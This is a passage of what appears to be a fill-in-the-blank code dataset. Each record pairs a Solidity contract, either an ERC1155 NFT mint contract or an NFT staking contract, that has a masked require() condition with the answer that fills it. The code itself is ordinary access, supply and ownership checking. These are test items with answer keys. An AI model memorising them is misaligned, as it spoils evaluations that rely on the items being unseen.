function setApprovalForAll(address operator, bool approved) public virtual override {
require(<FILL_ME>)
super.setApprovalForAll(operator, approved);
}
function getLocalContractAllowList() external view returns (address[] memory) {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function preMint(
uint256 _mintAmount,
uint256 _wlCount,
bytes32[] calldata _merkleProof
) external {
}
//internal
function _isAllowed(address transferer) internal view virtual returns (bool) {
}
function _mintCheck(uint256 _mintAmount) internal view {
}
// external (only minter)
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
// external (only burner)
function burn(
address account,
uint256 id,
uint256 value
) public virtual override onlyRole(BURNER_ROLE) {
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual override onlyRole(BURNER_ROLE) {
}
// public (only owner)
function ownerMint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function withdraw(address withdrawAddress) external onlyOwner {
}
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royaltyConfigs) external override onlyOwner {
}
function setDefaultRoyalty(TokenRoyalty calldata royalty) external override onlyOwner {
}
function addLocalContractAllowList(address transferer) external onlyOwner {
}
function removeLocalContractAllowList(address transferer) external onlyOwner {
}
function setCAL(address value) external onlyOwner {
}
function setCALLevel(uint256 value) external onlyOwner {
}
function setEnableRestrict(bool value) external onlyOwner {
}
function setPhase(Phase _newPhase) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setTargetTokenId(uint256 _targetTokenId) external onlyOwner {
}
}
| _isAllowed(operator)||!approved,'RestrictApprove: Can not approve locked token' | 82,630 | _isAllowed(operator)||!approved |
'Invalid Merkle Proof' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@manifoldxyz/royalty-registry-solidity/contracts/overrides/RoyaltyOverrideCore.sol';
import 'contract-allow-list/contracts/proxy/interface/IContractAllowListProxy.sol';
import './interface/ITalismanPaperOfMakami.sol';
contract TalismanPaperOfMakami is
ITalismanPaperOfMakami,
ERC1155Supply,
Ownable,
AccessControl,
EIP2981RoyaltyOverrideCore
{
enum Phase {
BeforeMint,
PreMint
}
using EnumerableSet for EnumerableSet.AddressSet;
using Strings for uint256;
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE');
string public constant baseExtension = '.json';
string public constant name = 'Talisman Paper of Makami';
string public constant symbol = 'TPM';
string public baseURI = 'https://data.syou-nft.com/tpm/json/';
IContractAllowListProxy public cal;
EnumerableSet.AddressSet localAllowedAddresses;
uint256 public calLevel = 1;
bool public enableRestrict = true;
uint256 public targetTokenId = 1;
uint256 public maxSupply = 2222;
Phase public phase = Phase.BeforeMint;
mapping(uint256 => mapping(address => uint256)) public minted;
bytes32 public merkleRoots;
modifier onlyMinter() {
}
modifier onlyBurner() {
}
constructor() ERC1155('') {
}
// public
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, AccessControl, EIP2981RoyaltyOverrideCore)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function getLocalContractAllowList() external view returns (address[] memory) {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function preMint(
uint256 _mintAmount,
uint256 _wlCount,
bytes32[] calldata _merkleProof
) external {
require(phase == Phase.PreMint, 'PreMint is not active.');
_mintCheck(_mintAmount);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _wlCount));
require(<FILL_ME>)
require(minted[targetTokenId][msg.sender] + _mintAmount <= _wlCount, 'Address already claimed max amount');
minted[targetTokenId][msg.sender] += _mintAmount;
_mint(msg.sender, targetTokenId, _mintAmount, '');
}
//internal
function _isAllowed(address transferer) internal view virtual returns (bool) {
}
function _mintCheck(uint256 _mintAmount) internal view {
}
// external (only minter)
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
// external (only burner)
function burn(
address account,
uint256 id,
uint256 value
) public virtual override onlyRole(BURNER_ROLE) {
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual override onlyRole(BURNER_ROLE) {
}
// public (only owner)
function ownerMint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function withdraw(address withdrawAddress) external onlyOwner {
}
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royaltyConfigs) external override onlyOwner {
}
function setDefaultRoyalty(TokenRoyalty calldata royalty) external override onlyOwner {
}
function addLocalContractAllowList(address transferer) external onlyOwner {
}
function removeLocalContractAllowList(address transferer) external onlyOwner {
}
function setCAL(address value) external onlyOwner {
}
function setCALLevel(uint256 value) external onlyOwner {
}
function setEnableRestrict(bool value) external onlyOwner {
}
function setPhase(Phase _newPhase) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setTargetTokenId(uint256 _targetTokenId) external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,merkleRoots,leaf),'Invalid Merkle Proof' | 82,630 | MerkleProof.verify(_merkleProof,merkleRoots,leaf) |
'Address already claimed max amount' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@manifoldxyz/royalty-registry-solidity/contracts/overrides/RoyaltyOverrideCore.sol';
import 'contract-allow-list/contracts/proxy/interface/IContractAllowListProxy.sol';
import './interface/ITalismanPaperOfMakami.sol';
contract TalismanPaperOfMakami is
ITalismanPaperOfMakami,
ERC1155Supply,
Ownable,
AccessControl,
EIP2981RoyaltyOverrideCore
{
enum Phase {
BeforeMint,
PreMint
}
using EnumerableSet for EnumerableSet.AddressSet;
using Strings for uint256;
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE');
string public constant baseExtension = '.json';
string public constant name = 'Talisman Paper of Makami';
string public constant symbol = 'TPM';
string public baseURI = 'https://data.syou-nft.com/tpm/json/';
IContractAllowListProxy public cal;
EnumerableSet.AddressSet localAllowedAddresses;
uint256 public calLevel = 1;
bool public enableRestrict = true;
uint256 public targetTokenId = 1;
uint256 public maxSupply = 2222;
Phase public phase = Phase.BeforeMint;
mapping(uint256 => mapping(address => uint256)) public minted;
bytes32 public merkleRoots;
modifier onlyMinter() {
}
modifier onlyBurner() {
}
constructor() ERC1155('') {
}
// public
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, AccessControl, EIP2981RoyaltyOverrideCore)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function getLocalContractAllowList() external view returns (address[] memory) {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function preMint(
uint256 _mintAmount,
uint256 _wlCount,
bytes32[] calldata _merkleProof
) external {
require(phase == Phase.PreMint, 'PreMint is not active.');
_mintCheck(_mintAmount);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _wlCount));
require(MerkleProof.verify(_merkleProof, merkleRoots, leaf), 'Invalid Merkle Proof');
require(<FILL_ME>)
minted[targetTokenId][msg.sender] += _mintAmount;
_mint(msg.sender, targetTokenId, _mintAmount, '');
}
//internal
function _isAllowed(address transferer) internal view virtual returns (bool) {
}
function _mintCheck(uint256 _mintAmount) internal view {
}
// external (only minter)
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
// external (only burner)
function burn(
address account,
uint256 id,
uint256 value
) public virtual override onlyRole(BURNER_ROLE) {
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual override onlyRole(BURNER_ROLE) {
}
// public (only owner)
function ownerMint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function withdraw(address withdrawAddress) external onlyOwner {
}
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royaltyConfigs) external override onlyOwner {
}
function setDefaultRoyalty(TokenRoyalty calldata royalty) external override onlyOwner {
}
function addLocalContractAllowList(address transferer) external onlyOwner {
}
function removeLocalContractAllowList(address transferer) external onlyOwner {
}
function setCAL(address value) external onlyOwner {
}
function setCALLevel(uint256 value) external onlyOwner {
}
function setEnableRestrict(bool value) external onlyOwner {
}
function setPhase(Phase _newPhase) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setTargetTokenId(uint256 _targetTokenId) external onlyOwner {
}
}
| minted[targetTokenId][msg.sender]+_mintAmount<=_wlCount,'Address already claimed max amount' | 82,630 | minted[targetTokenId][msg.sender]+_mintAmount<=_wlCount |
'Total supply cannot exceed maxSupply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@manifoldxyz/royalty-registry-solidity/contracts/overrides/RoyaltyOverrideCore.sol';
import 'contract-allow-list/contracts/proxy/interface/IContractAllowListProxy.sol';
import './interface/ITalismanPaperOfMakami.sol';
contract TalismanPaperOfMakami is
ITalismanPaperOfMakami,
ERC1155Supply,
Ownable,
AccessControl,
EIP2981RoyaltyOverrideCore
{
enum Phase {
BeforeMint,
PreMint
}
using EnumerableSet for EnumerableSet.AddressSet;
using Strings for uint256;
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE');
string public constant baseExtension = '.json';
string public constant name = 'Talisman Paper of Makami';
string public constant symbol = 'TPM';
string public baseURI = 'https://data.syou-nft.com/tpm/json/';
IContractAllowListProxy public cal;
EnumerableSet.AddressSet localAllowedAddresses;
uint256 public calLevel = 1;
bool public enableRestrict = true;
uint256 public targetTokenId = 1;
uint256 public maxSupply = 2222;
Phase public phase = Phase.BeforeMint;
mapping(uint256 => mapping(address => uint256)) public minted;
bytes32 public merkleRoots;
modifier onlyMinter() {
}
modifier onlyBurner() {
}
constructor() ERC1155('') {
}
// public
function uri(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, AccessControl, EIP2981RoyaltyOverrideCore)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function getLocalContractAllowList() external view returns (address[] memory) {
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
}
function preMint(
uint256 _mintAmount,
uint256 _wlCount,
bytes32[] calldata _merkleProof
) external {
}
//internal
function _isAllowed(address transferer) internal view virtual returns (bool) {
}
function _mintCheck(uint256 _mintAmount) internal view {
require(_mintAmount > 0, 'Mint amount cannot be zero');
require(<FILL_ME>)
}
// external (only minter)
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyRole(MINTER_ROLE) {
}
// external (only burner)
function burn(
address account,
uint256 id,
uint256 value
) public virtual override onlyRole(BURNER_ROLE) {
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual override onlyRole(BURNER_ROLE) {
}
// public (only owner)
function ownerMint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function withdraw(address withdrawAddress) external onlyOwner {
}
function setTokenRoyalties(TokenRoyaltyConfig[] calldata royaltyConfigs) external override onlyOwner {
}
function setDefaultRoyalty(TokenRoyalty calldata royalty) external override onlyOwner {
}
function addLocalContractAllowList(address transferer) external onlyOwner {
}
function removeLocalContractAllowList(address transferer) external onlyOwner {
}
function setCAL(address value) external onlyOwner {
}
function setCALLevel(uint256 value) external onlyOwner {
}
function setEnableRestrict(bool value) external onlyOwner {
}
function setPhase(Phase _newPhase) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setTargetTokenId(uint256 _targetTokenId) external onlyOwner {
}
}
| totalSupply(targetTokenId)+_mintAmount<=maxSupply,'Total supply cannot exceed maxSupply' | 82,630 | totalSupply(targetTokenId)+_mintAmount<=maxSupply |
"Not the owner" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// Imports
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC20.sol";
import "./IERC721.sol";
// MOD Interface
interface MODToken {
function mint(address recipient, uint256 amount) external;
}
/// @title MOD - Staking Contract
contract NFTStaking is Ownable, ReentrancyGuard {
// Staker details
struct Staker {
uint256[] tokenIds;
uint256 currentYield;
uint256 numberOfTokensStaked;
uint256 lastCheckpoint;
}
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
IERC721 public immutable nftContract;
MODToken public immutable rewardToken;
bool public stakingLaunched;
mapping(address => Staker) public stakers;
uint256 public lowYieldEndBound = 4;
uint256 public mediumYieldEndBound = 9;
uint256 public highYieldStartBound = 10;
uint256 public lowYieldPerSecond;
uint256 public mediumYieldPerSecond;
uint256 public highYieldPerSecond;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker, uint256 amount);
event Withdraw(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 tokenAmount);
/// @dev The contract constructor
constructor(
IERC721 _nftContract,
MODToken _rewardToken,
uint256 _lowYieldPerDay,
uint256 _mediumYieldPerDay,
uint256 _highYieldPerDay
) {
}
/**
* @param _lowYieldEndBound The upper bound of the lowest range that produces low yield
* @param _lowYieldPerDay The amount of tokens in Wei that a user earns for each token in the lowest range per day
* @param _mediumYieldEndBound The upper bound of the medium range that produces medium yield
* @param _mediumYieldPerDay The amount of tokens in Wei that a user earns for each token in the medium range per day
* @param _highYieldStartBound The lower bound of the highest range that produces high yield
* @param _highYieldPerDay The amount of tokens in Wei that a user earns for each token in the highest range per day
* @dev Sets yield parameters
*/
function setYieldParams(
uint256 _lowYieldEndBound,
uint256 _lowYieldPerDay,
uint256 _mediumYieldEndBound,
uint256 _mediumYieldPerDay,
uint256 _highYieldStartBound,
uint256 _highYieldPerDay
) external onlyOwner {
}
/**
* @param tokenIds The list of token IDs to stake
* @dev Stakes NFTs
*/
function deposit(uint256[] memory tokenIds) external nonReentrant {
require(stakingLaunched, "Staking is not launched yet");
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
for (uint256 i; i < tokenIds.length; i++) {
require(<FILL_ME>)
nftContract.safeTransferFrom(_msgSender(), address(this), tokenIds[i]);
_ownerOfToken[tokenIds[i]] = _msgSender();
staker.tokenIds.push(tokenIds[i]);
staker.numberOfTokensStaked += 1;
}
staker.currentYield = getTotalYieldPerSecond(staker.numberOfTokensStaked);
staker.lastCheckpoint = block.timestamp;
emit Deposit(_msgSender(), tokenIds.length);
}
/**
* @param tokenIds The list of token IDs to unstake
* @dev Withdraws NFTs
*/
function withdraw(uint256[] memory tokenIds) external nonReentrant {
}
/// @dev Transfers reward to a user
function claimReward() external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to withdraw
* @dev Withdraws ERC721 in case of emergency
*/
function emergencyWithdraw(uint256[] memory tokenIds) external onlyOwner {
}
/// @dev Starts NFT staking program
function launchStaking() external onlyOwner {
}
/**
* @param balance The balance of a user
* @dev Gets total yield per second of all staked tokens of a user
*/
function getTotalYieldPerSecond(uint256 balance) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Calculates unclaimed reward of a user
*/
function getUnclaimedRewards(address staker) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Returns all token IDs staked by a user
*/
function getStakedTokens(address staker) public view returns (uint256[] memory) {
}
/**
* @param staker The address of a user
* @dev Returns the number of tokens staked by a user
*/
function getTotalStakedAmount(address staker) public view returns (uint256) {
}
/// @dev Gets called whenever an IERC721 tokenId token is transferred to this contract via IERC721.safeTransferFrom
function onERC721Received(
address,
address,
uint256,
bytes calldata data
) public returns (bytes4) {
}
/**
* @param list The array of token IDs
* @param tokenId The token ID to move to the end of the array
* @dev Moves the element that matches tokenId to the end of the array
*/
function _moveTokenToLast(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @param staker The user address
* @param amount The amount of tokens to claim
* @dev Transfers reward to a user
*/
function _claimReward(address staker, uint256 amount) private {
}
}
| nftContract.ownerOf(tokenIds[i])==_msgSender(),"Not the owner" | 82,793 | nftContract.ownerOf(tokenIds[i])==_msgSender() |
"Invalid tokenIds provided" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// Imports
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC20.sol";
import "./IERC721.sol";
// MOD Interface
interface MODToken {
function mint(address recipient, uint256 amount) external;
}
/// @title MOD - Staking Contract
contract NFTStaking is Ownable, ReentrancyGuard {
// Staker details
struct Staker {
uint256[] tokenIds;
uint256 currentYield;
uint256 numberOfTokensStaked;
uint256 lastCheckpoint;
}
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
IERC721 public immutable nftContract;
MODToken public immutable rewardToken;
bool public stakingLaunched;
mapping(address => Staker) public stakers;
uint256 public lowYieldEndBound = 4;
uint256 public mediumYieldEndBound = 9;
uint256 public highYieldStartBound = 10;
uint256 public lowYieldPerSecond;
uint256 public mediumYieldPerSecond;
uint256 public highYieldPerSecond;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker, uint256 amount);
event Withdraw(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 tokenAmount);
/// @dev The contract constructor
constructor(
IERC721 _nftContract,
MODToken _rewardToken,
uint256 _lowYieldPerDay,
uint256 _mediumYieldPerDay,
uint256 _highYieldPerDay
) {
}
/**
* @param _lowYieldEndBound The upper bound of the lowest range that produces low yield
* @param _lowYieldPerDay The amount of tokens in Wei that a user earns for each token in the lowest range per day
* @param _mediumYieldEndBound The upper bound of the medium range that produces medium yield
* @param _mediumYieldPerDay The amount of tokens in Wei that a user earns for each token in the medium range per day
* @param _highYieldStartBound The lower bound of the highest range that produces high yield
* @param _highYieldPerDay The amount of tokens in Wei that a user earns for each token in the highest range per day
* @dev Sets yield parameters
*/
function setYieldParams(
uint256 _lowYieldEndBound,
uint256 _lowYieldPerDay,
uint256 _mediumYieldEndBound,
uint256 _mediumYieldPerDay,
uint256 _highYieldStartBound,
uint256 _highYieldPerDay
) external onlyOwner {
}
/**
* @param tokenIds The list of token IDs to stake
* @dev Stakes NFTs
*/
function deposit(uint256[] memory tokenIds) external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to unstake
* @dev Withdraws NFTs
*/
function withdraw(uint256[] memory tokenIds) external nonReentrant {
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
for (uint256 i; i < tokenIds.length; i++) {
require(<FILL_ME>)
require(_ownerOfToken[tokenIds[i]] == _msgSender(), "Not the owner of one ore more provided tokens");
_ownerOfToken[tokenIds[i]] = address(0);
staker.tokenIds = _moveTokenToLast(staker.tokenIds, tokenIds[i]);
staker.tokenIds.pop();
staker.numberOfTokensStaked -= 1;
nftContract.safeTransferFrom(address(this), _msgSender(), tokenIds[i]);
}
staker.currentYield = getTotalYieldPerSecond(staker.numberOfTokensStaked);
staker.lastCheckpoint = block.timestamp;
emit Withdraw(_msgSender(), tokenIds.length);
}
/// @dev Transfers reward to a user
function claimReward() external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to withdraw
* @dev Withdraws ERC721 in case of emergency
*/
function emergencyWithdraw(uint256[] memory tokenIds) external onlyOwner {
}
/// @dev Starts NFT staking program
function launchStaking() external onlyOwner {
}
/**
* @param balance The balance of a user
* @dev Gets total yield per second of all staked tokens of a user
*/
function getTotalYieldPerSecond(uint256 balance) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Calculates unclaimed reward of a user
*/
function getUnclaimedRewards(address staker) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Returns all token IDs staked by a user
*/
function getStakedTokens(address staker) public view returns (uint256[] memory) {
}
/**
* @param staker The address of a user
* @dev Returns the number of tokens staked by a user
*/
function getTotalStakedAmount(address staker) public view returns (uint256) {
}
/// @dev Gets called whenever an IERC721 tokenId token is transferred to this contract via IERC721.safeTransferFrom
function onERC721Received(
address,
address,
uint256,
bytes calldata data
) public returns (bytes4) {
}
/**
* @param list The array of token IDs
* @param tokenId The token ID to move to the end of the array
* @dev Moves the element that matches tokenId to the end of the array
*/
function _moveTokenToLast(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @param staker The user address
* @param amount The amount of tokens to claim
* @dev Transfers reward to a user
*/
function _claimReward(address staker, uint256 amount) private {
}
}
| nftContract.ownerOf(tokenIds[i])==address(this),"Invalid tokenIds provided" | 82,793 | nftContract.ownerOf(tokenIds[i])==address(this) |
"Not the owner of one ore more provided tokens" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// Imports
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC20.sol";
import "./IERC721.sol";
// MOD Interface
interface MODToken {
function mint(address recipient, uint256 amount) external;
}
/// @title MOD - Staking Contract
contract NFTStaking is Ownable, ReentrancyGuard {
// Staker details
struct Staker {
uint256[] tokenIds;
uint256 currentYield;
uint256 numberOfTokensStaked;
uint256 lastCheckpoint;
}
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
IERC721 public immutable nftContract;
MODToken public immutable rewardToken;
bool public stakingLaunched;
mapping(address => Staker) public stakers;
uint256 public lowYieldEndBound = 4;
uint256 public mediumYieldEndBound = 9;
uint256 public highYieldStartBound = 10;
uint256 public lowYieldPerSecond;
uint256 public mediumYieldPerSecond;
uint256 public highYieldPerSecond;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker, uint256 amount);
event Withdraw(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 tokenAmount);
/// @dev The contract constructor
constructor(
IERC721 _nftContract,
MODToken _rewardToken,
uint256 _lowYieldPerDay,
uint256 _mediumYieldPerDay,
uint256 _highYieldPerDay
) {
}
/**
* @param _lowYieldEndBound The upper bound of the lowest range that produces low yield
* @param _lowYieldPerDay The amount of tokens in Wei that a user earns for each token in the lowest range per day
* @param _mediumYieldEndBound The upper bound of the medium range that produces medium yield
* @param _mediumYieldPerDay The amount of tokens in Wei that a user earns for each token in the medium range per day
* @param _highYieldStartBound The lower bound of the highest range that produces high yield
* @param _highYieldPerDay The amount of tokens in Wei that a user earns for each token in the highest range per day
* @dev Sets yield parameters
*/
function setYieldParams(
uint256 _lowYieldEndBound,
uint256 _lowYieldPerDay,
uint256 _mediumYieldEndBound,
uint256 _mediumYieldPerDay,
uint256 _highYieldStartBound,
uint256 _highYieldPerDay
) external onlyOwner {
}
/**
* @param tokenIds The list of token IDs to stake
* @dev Stakes NFTs
*/
function deposit(uint256[] memory tokenIds) external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to unstake
* @dev Withdraws NFTs
*/
function withdraw(uint256[] memory tokenIds) external nonReentrant {
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
for (uint256 i; i < tokenIds.length; i++) {
require(nftContract.ownerOf(tokenIds[i]) == address(this), "Invalid tokenIds provided");
require(<FILL_ME>)
_ownerOfToken[tokenIds[i]] = address(0);
staker.tokenIds = _moveTokenToLast(staker.tokenIds, tokenIds[i]);
staker.tokenIds.pop();
staker.numberOfTokensStaked -= 1;
nftContract.safeTransferFrom(address(this), _msgSender(), tokenIds[i]);
}
staker.currentYield = getTotalYieldPerSecond(staker.numberOfTokensStaked);
staker.lastCheckpoint = block.timestamp;
emit Withdraw(_msgSender(), tokenIds.length);
}
/// @dev Transfers reward to a user
function claimReward() external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to withdraw
* @dev Withdraws ERC721 in case of emergency
*/
function emergencyWithdraw(uint256[] memory tokenIds) external onlyOwner {
}
/// @dev Starts NFT staking program
function launchStaking() external onlyOwner {
}
/**
* @param balance The balance of a user
* @dev Gets total yield per second of all staked tokens of a user
*/
function getTotalYieldPerSecond(uint256 balance) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Calculates unclaimed reward of a user
*/
function getUnclaimedRewards(address staker) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Returns all token IDs staked by a user
*/
function getStakedTokens(address staker) public view returns (uint256[] memory) {
}
/**
* @param staker The address of a user
* @dev Returns the number of tokens staked by a user
*/
function getTotalStakedAmount(address staker) public view returns (uint256) {
}
/// @dev Gets called whenever an IERC721 tokenId token is transferred to this contract via IERC721.safeTransferFrom
function onERC721Received(
address,
address,
uint256,
bytes calldata data
) public returns (bytes4) {
}
/**
* @param list The array of token IDs
* @param tokenId The token ID to move to the end of the array
* @dev Moves the element that matches tokenId to the end of the array
*/
function _moveTokenToLast(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @param staker The user address
* @param amount The amount of tokens to claim
* @dev Transfers reward to a user
*/
function _claimReward(address staker, uint256 amount) private {
}
}
| _ownerOfToken[tokenIds[i]]==_msgSender(),"Not the owner of one ore more provided tokens" | 82,793 | _ownerOfToken[tokenIds[i]]==_msgSender() |
"Staking has been launched already" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// Imports
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC20.sol";
import "./IERC721.sol";
// MOD Interface
interface MODToken {
function mint(address recipient, uint256 amount) external;
}
/// @title MOD - Staking Contract
contract NFTStaking is Ownable, ReentrancyGuard {
// Staker details
struct Staker {
uint256[] tokenIds;
uint256 currentYield;
uint256 numberOfTokensStaked;
uint256 lastCheckpoint;
}
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
IERC721 public immutable nftContract;
MODToken public immutable rewardToken;
bool public stakingLaunched;
mapping(address => Staker) public stakers;
uint256 public lowYieldEndBound = 4;
uint256 public mediumYieldEndBound = 9;
uint256 public highYieldStartBound = 10;
uint256 public lowYieldPerSecond;
uint256 public mediumYieldPerSecond;
uint256 public highYieldPerSecond;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker, uint256 amount);
event Withdraw(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 tokenAmount);
/// @dev The contract constructor
constructor(
IERC721 _nftContract,
MODToken _rewardToken,
uint256 _lowYieldPerDay,
uint256 _mediumYieldPerDay,
uint256 _highYieldPerDay
) {
}
/**
* @param _lowYieldEndBound The upper bound of the lowest range that produces low yield
* @param _lowYieldPerDay The amount of tokens in Wei that a user earns for each token in the lowest range per day
* @param _mediumYieldEndBound The upper bound of the medium range that produces medium yield
* @param _mediumYieldPerDay The amount of tokens in Wei that a user earns for each token in the medium range per day
* @param _highYieldStartBound The lower bound of the highest range that produces high yield
* @param _highYieldPerDay The amount of tokens in Wei that a user earns for each token in the highest range per day
* @dev Sets yield parameters
*/
function setYieldParams(
uint256 _lowYieldEndBound,
uint256 _lowYieldPerDay,
uint256 _mediumYieldEndBound,
uint256 _mediumYieldPerDay,
uint256 _highYieldStartBound,
uint256 _highYieldPerDay
) external onlyOwner {
}
/**
* @param tokenIds The list of token IDs to stake
* @dev Stakes NFTs
*/
function deposit(uint256[] memory tokenIds) external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to unstake
* @dev Withdraws NFTs
*/
function withdraw(uint256[] memory tokenIds) external nonReentrant {
}
/// @dev Transfers reward to a user
function claimReward() external nonReentrant {
}
/**
* @param tokenIds The list of token IDs to withdraw
* @dev Withdraws ERC721 in case of emergency
*/
